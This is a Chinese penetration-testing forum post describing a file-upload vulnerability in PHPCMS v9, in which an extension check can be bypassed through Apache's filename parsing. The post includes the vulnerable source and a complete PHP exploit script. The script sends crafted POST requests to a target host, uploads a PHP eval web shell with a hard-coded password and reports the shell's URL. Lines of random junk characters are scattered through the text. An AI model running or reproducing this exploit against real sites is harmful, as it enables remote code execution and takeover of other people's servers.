中国网络渗透测试联盟
标题:
PHPCMS v9 Getshell
[打印本页]
作者:
admin
时间:
2013-3-7 13:06
标题:
PHPCMS v9 Getshell
漏洞类型: 文件上传导致任意代码执行
2 a0 U+ G2 X2 h% Z% U+ c
- f8 a6 L- Y# P5 R$ _( t$ C9 S
简要描述:
7 Y. d+ n9 A" ~2 V4 N+ v
' m. f9 s2 q! J9 R) ^3 B
phpcms v9 getshell (apache)
$ n4 I0 `6 f2 g$ Q. l$ c
详细说明:
# ~; t) A' A6 v! Y5 `6 Q8 \) r: A
% v2 _1 P9 C0 M0 T; G) D" ^
漏洞文件:phpcms\modules\attachment\attachments.php
! C4 V/ e1 a8 R) w, e; M. b
" m, `1 P+ H3 n% O, d
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
) z% a. [ r1 l3 A" f
后缀检测:phpcms\modules\attachment\functions\global.func.php
8 K: i! A' o/ h$ W# P4 s7 B6 D# r
" M% {8 {$ @, b
2 g# E6 W5 e( J; ~2 ]- ?
6 O# ^% d" s% T6 c; {
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
1 i/ ?/ U- R( {
6 G. |5 D% V; m/ @' J
关键函数:
! V8 h0 B* S3 r! J7 N \5 c8 T
# L; T7 |1 u9 v% G- T; E
[" R' N! S. ]" N
$ t$ p8 ]2 g3 d# P1 W
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
- P; h# }# ~0 e) \$ L& l- O8 q
4 k* c1 E2 m6 {/ M/ z
Fileext函数是对文件后缀名的提取。
, V% n4 N9 t6 D% A& j3 z
根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
, z' A8 Y& `+ c9 v5 p
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
/ i" J5 S8 X' a% V3 o! N
我们回到public function crop_upload() 函数中
6 t+ O( E5 |3 m0 A( A3 K# y
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
6 J- h$ j3 l+ i( t: i. a- ]
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
+ Y2 _$ J; Q- X8 \
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
' W! E3 Z7 z+ T' Y3 K: H
经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
. M! G) A2 ]/ Y `
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
) k2 i# r# T: w; l/ A/ i; A7 O
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。
6 D6 L/ }7 L! i: [% N
漏洞证明:
3 ^1 C! \; N1 Q# I* l
, b( o3 ~1 O. a6 B5 T
exp:
: W! O+ P. G [5 D3 u' O. B& s
5 D: q2 p- ]1 F. ~5 E$ N/ h
<?php
. E3 {0 H6 i' K, X6 S9 r: c/ N
error_reporting(E_ERROR);
' c B4 ~. ^4 m$ V, A" _
set_time_limit(0);
2 o! p/ ?' R# B- A# x/ q" }: F
$pass="ln";
( r6 R5 r( |/ e
print_r('
( ~( K; o% N6 z3 e5 S6 j0 r
+---------------------------------------------------------------------------+
4 W& g5 o& `4 ~5 D
PHPCms V9 GETSHELL 0DAY
! p+ r2 C+ t' @) F
code by L.N.
: o* o9 e$ ]) A0 O* P
) K- `( Q9 i1 Z i# l
apache 适用(利用的apache的解析漏洞) // 云安全
www.yunsec.net
3 n8 F$ M" B- E" x- e
+---------------------------------------------------------------------------+
) T2 y5 f, i" j& B0 r/ `: R2 i
');
. \, k) p4 |$ ?# ?
if ($argc < 2) {
% c0 S- x# U* a, }6 z
print_r('
7 b# x) O8 e$ w
+---------------------------------------------------------------------------+
8 m; ]( V1 x) s" F# _6 N
Usage: php '.$argv[0].' url path
9 C; D; h+ h% H8 ~1 D
3 m$ B/ x" D" v. Y2 l
Example:
* ]( X, u0 e* e. V
1.php '.$argv[0].' lanu.sinaapp.com
& J# J- V4 f* b4 t
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
2 W+ ]7 j0 F# I2 k. O' R$ S* _" Z9 l
+---------------------------------------------------------------------------+
/ k4 K! Q; S6 N5 B3 _' Y! [/ D1 i9 n
');
) H: O0 a6 A+ m, T
exit;
+ J* t! X9 O3 ^+ O6 j1 C
}
" w* z/ Q4 Z0 g) h. P
/ K x. D( K8 o. m- K% m5 Q
$url = $argv[1];
( C4 v! f( s% ]" ?5 B3 D+ B
$path = $argv[2];
) B0 a# }: x( ?
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
8 P \. b' r9 l
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
4 ?5 r$ X5 G. } ]$ f. j
if($ret=Create_dir($url,$path))
& f. L6 I2 B$ Q9 I) {
{
' o: q3 U* N2 `! _) Z$ {* Z
//echo $ret;
5 R+ F8 l M' `3 H. p
$pattern = "|Server:[^,]+?|U";
- F- m* z% i& h" g7 o# X$ H9 w# @( m
preg_match_all($pattern, $ret, $matches);
$ z4 \5 f% @2 h7 {: y' p2 k2 K
if($matches[0][0])
4 E0 P( `. @2 ~* S5 \2 y- W F5 D
{
$ U5 T: v/ }; G: g
if(strpos($matches[0][0],'Apache') == false)
3 g6 v2 H S- a' m. h, c6 i; v- e
{
8 u2 N" J& B% @ I& ?" T6 ]
echo "\n亲!此网站不是apache的网站。\n";exit;
" _: v, ]" j! g: x
}
( Q; o- r# z4 \' E6 [
}
0 l# m" _$ _1 z0 B
$ret = GetShell($url,$phpshell,$path,$file);
1 o; U z1 b& i- v* p+ L/ D
$pattern = "|http:\/\/[^,]+?\.,?|U";
! |# H' R' ~( s
preg_match_all($pattern, $ret, $matches);
2 c0 m. j3 [- A+ d1 g8 x
if($matches[0][0])
5 R, D) Z. O5 ?4 |- t p$ B, c
{
f" R5 d9 P# {2 f' b
echo "\n".'密码为: '.$pass."\n";
) c8 M: w; ?/ n1 F4 A6 P
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
- \2 \" I6 m# ^) j' x
}
3 g; c @* V1 p1 ` s# o- i$ c
else
; o2 T) ^8 \* D3 d
{
4 G( D. p' |" c3 y& [
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
4 m4 @, J2 W, \9 K4 \3 d* s1 P
preg_match_all($pattern, $ret, $matches);
2 P7 u. J9 u# t+ i8 ]
if($matches[0][0])
I: `+ V, t* \6 t
{
$ P; h4 a8 J8 [& A, Z: B5 k
echo "\n".'密码为: '.$pass."\n";
0 y& s# R( b- q0 I3 u8 E
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
6 [' R9 Z( U6 N2 a1 N E: b% F2 f
}
' ~( a+ ~1 F% d+ [' A( H
else
9 r7 l8 Y* L9 f1 X! ~. p+ d$ |8 Q
{
9 G) \ F& Y2 x5 S( q
echo "\r\n没得到!\n";exit;
5 h& m+ q8 U+ [; k
}
7 J4 r+ D# E, j& E
}
9 n6 H( [/ N+ ^: Z$ @
}
9 T8 }! U- E% ~. m7 _& J
5 H/ y; Y5 N1 t9 I0 e6 j
function GetShell($url,$shell,$path,$js)
; |% Y. ?" d4 U) p6 Q2 E$ F
{
o- E# G, H8 u1 p- C
$content =$shell;
" s" G9 K1 x5 Z E: w q4 @
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
! o( D0 Z' G- W" u" r6 ^
$data .= "Host: ".$url."\r\n";
7 r/ A3 e' s+ H
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
3 |5 h# Q& ?4 r$ q8 H3 ^ i
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$ W: E7 w- c r" j$ D$ x
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
' f, {/ R9 E/ N
$data .= "Connection: close\r\n";
5 d9 K( q( y: c) Z, j& f
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
9 u9 Y4 G5 m0 P3 j" H) a
$data .= $content."\r\n";
) h: J# h! P6 D6 [" E# |* L
$ock=fsockopen($url,80);
4 x: X- X" G' c! o
if (!$ock)
% S* y9 g$ C! m# n+ v( l) h4 k2 M2 Q
{
8 c. V7 U( E; O, X. P7 j
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
- u$ M9 \% m; `$ z% e
}
& ?: J+ ?+ ~- \6 T; z. r; ~% c2 `
else
8 d5 q% z" y% ~+ {
{
3 c$ p! s# P% L* z7 M3 g/ L
fwrite($ock,$data);
' _- Y% L2 \+ c
$resp = '';
; W$ ~1 V6 m9 E3 m
while (!feof($ock))
. E) k+ Y. t; I4 Z
{
* _4 T3 d% ~6 P: b7 ?9 v
$resp.=fread($ock, 1024);
( N/ d" @ ^0 U2 U: Z3 X
}
1 V+ V3 } X, }- D$ `
return $resp;
( H: g% h" ^) @- G
}
( ?! G; e+ G5 X T! j9 W8 j! J
}
' e6 \' ]1 f" Z
+ l( b% W# x0 B" N
function Create_dir($url,$path='')
( q* _3 S( r1 s0 w
{
. T3 e- h S3 `6 ?. h/ o
$content ='I love you';
8 O: w5 M% {7 I a; ^% q y) T2 J
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
o% h" j1 a, W. t$ X" O0 O( w$ d \
$data .= "Host: ".$url."\r\n";
; U T h/ ^6 ~6 I' y" H2 W" H" `
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
2 @0 W; o6 C/ `, E# h, A
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
D2 C0 ?( J4 V! y) [6 K" t+ r0 {
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
* E( z. T: v* q# O' \
$data .= "Connection: close\r\n";
. v& x$ v R/ v3 O
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
. E" X5 I! R( |* x
$data .= $content."\r\n";
8 u: M! N8 ?& ^8 {
$ock=fsockopen($url,80);
0 P4 U$ [+ Y5 e$ r6 z( Q$ ~
if (!$ock)
: L, c, y q3 n; O& l8 p
{
4 ?& I- g4 y$ H5 I% w' I* K& ], f
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
) \- w/ p$ M5 @4 N7 i
}
# A, J c$ G. d% n
fwrite($ock,$data);
" i$ d* ?+ \3 A9 L% C% w v! G
$resp = '';
v& N3 K' }4 \* Q4 W( X8 Q; [. T
while (!feof($ock))
0 T6 a5 e) w6 a9 u
{
% D9 I, L3 |* ]2 ^4 q1 O
$resp.=fread($ock, 1024);
$ W8 g5 O9 A/ z1 Q4 T8 O. _0 X
}
- k- J# p4 p) Q; T; |% q' [2 O
return $resp;
& R+ z. D/ l' p" O$ m
}
/ f6 M- w: y, C' j& \1 U
?>
& ?: w1 g8 C) s: J; S5 A2 D: `+ J
% [% r5 S C2 c& ?$ O
修复方案:
5 M& d) `6 C2 l( K
7 T7 C( W; {; x1 w/ s
过滤过滤再过滤
2 B9 \( C( k( h" ~2 G3 }' j% M/ ~
K- d8 i, ]6 M( w: s
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2